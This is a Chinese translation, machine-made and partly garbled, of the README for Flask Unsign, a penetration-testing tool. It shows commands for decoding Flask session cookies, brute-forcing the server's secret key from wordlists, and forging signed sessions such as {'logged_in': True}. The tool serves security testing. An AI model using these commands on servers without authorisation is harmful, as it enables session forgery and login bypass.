Flask Unsign 是一个渗透测试实用程序,它试图通过签署会话来验证 Flask 服务器的密钥,并根据常用和公开的密钥(来自书籍、GitHub、StackOverflow 和
项目描述
烧瓶无符号
通过猜测密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie 的命令行工具。对于独立的 wordlist 组件,请访问flask-unsign-wordlist存储库。
要求
- Python 3.6+
安装
要安装应用程序,只需使用 pip:
$ pip3 install flask-unsign[wordlist]
如果只想安装核心代码,省略[wordlist]
后缀:
$ pip3 install flask-unsign
要为开发目的安装该工具,请运行以下命令(下载副本后):
$ pip3 install -e .[test]
用法
要了解所有可能的选项,只需调用不带任何参数的 flask-unsign,如下所示:
$ flask-unsign
获取和解码会话 Cookie
由于 Flask cookie 是经过签名而不是加密的,因此可以在本地解码会话数据。为此,您可以使用该--decode
参数。
会话 cookie 可以通过使用 Burp Proxy 等代理检查您的 HTTP 请求、使用浏览器的网络检查器或使用浏览器扩展程序来查看/更改您的 cookie 来获取。默认情况下,Flask 使用会话名称
"session"
。
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
您还可以通过传递--server
参数而不是参数来使用 Flask-Unsign 的自动会话抓取功能--cookie
。但是请注意,并非所有网页都可能返回 session,因此请务必传递一个可以返回的 url。
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
取消签名(暴力破解密钥)
获得示例会话 cookie 后,您将能够尝试暴力破解服务器的密钥。如果你很幸运,这可能会设置为一些容易猜到的东西,或者如果它是在网上找到的,它可能在你的一个单词列表中。为此,您可以使用该--unsign
参数。
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
签名(会话操作)
获得服务器的密钥后,您将能够制作自己的自定义会话数据。为此,您可以使用该--sign
参数。
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
故障排除
- 安装程序会导致错误
- 您可能使用了错误的
pip
二进制文件,请尝试使用以下命令:python3.6 -m pip install flask-unsign
- 您可能使用了错误的
- 我找到了一个密钥,但我精心设计的会话不起作用!
- 您的目标服务器可能使用旧版本的
itsdangerous。由于
定时会话的问题,时间戳生成算法已更改。要生成较旧的签名,请尝试使用该
--legacy
选项。
- 您的目标服务器可能使用旧版本的
itsdangerous。由于
定时会话的问题,时间戳生成算法已更改。要生成较旧的签名,请尝试使用该
- 我的单词表不起作用
- Wordlists 期望是换行符分隔的
python 字符串
(这意味着您需要将它们封装在引号中),这样二进制字符串就可以轻松地以换行符格式存储。如果你不想要这个,你可以通过传递
--no-literal-eval
参数来禁用这个特性。
- Wordlists 期望是换行符分隔的
python 字符串
(这意味着您需要将它们封装在引号中),这样二进制字符串就可以轻松地以换行符格式存储。如果你不想要这个,你可以通过传递
这个怎么运作
如果您想知道这究竟是如何工作的,请参阅我的 博客文章 ,其中详细解释了这一点,包括有关如何保护您自己的服务器免受这种攻击的指南。
执照
麻省理工学院许可证
版权所有 (c) 2021 Luke Paris (Paradoxis)
特此免费授予任何人获得本软件和相关文档文件(“软件”)的副本,以不受限制地处理本软件,包括但不限于使用、复制、修改、合并的权利、发布、分发、再许可和/或出售本软件的副本,并允许向其提供本软件的人这样做,但须符合以下条件:
上述版权声明和本许可声明应包含在本软件的所有副本或大部分内容中。
本软件按“原样”提供,不提供任何形式的明示或暗示保证,包括但不限于适销性、特定用途适用性和非侵权保证。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任承担任何责任,无论是在合同、侵权或其他方面,由本软件或本软件的使用或其他交易引起或与之相关。软件。